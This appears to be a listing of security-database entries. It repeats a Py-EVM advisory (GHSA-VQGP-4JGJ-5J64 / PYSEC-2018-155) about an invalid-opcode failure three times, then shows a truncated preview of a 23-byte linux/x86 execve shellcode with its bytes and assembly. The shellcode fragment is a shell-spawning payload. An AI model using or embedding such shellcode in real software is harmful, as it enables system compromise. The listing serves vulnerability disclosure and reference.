GHSA-VQGP-4JGJ-5J64 Py-EVM is vulnerable to arbitrary bytecode injection

Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.executebytecode call that triggers computation.stack.values with '"stack": 100, 100, 0' where b'\x' was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to "smart contracts can be executed...

PYSEC-2018-155

Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.executebytecode call that triggers computation.stack.values with '"stack": 100, 100, 0' where b'\x' was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to "smart contracts can be executed...

PYSEC-2018-155

Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.executebytecode call that triggers computation.stack.values with '"stack": 100, 100, 0' where b'\x' was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to "smart contracts can be executed...

linux/x86 execve code 23 bytes

linux/x86 execve code 23 bytes. Shellcode exploit for linx86 platform / Linux 23 byte execve code. Greetz to preedator marcetam admin at marcetam.net / char linux= "\x99" / cdq / "\x52" / push %edx / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f / "\x68\x2f\x62\x69\x6e" / push $0x6e69622f / "\x89\xe3...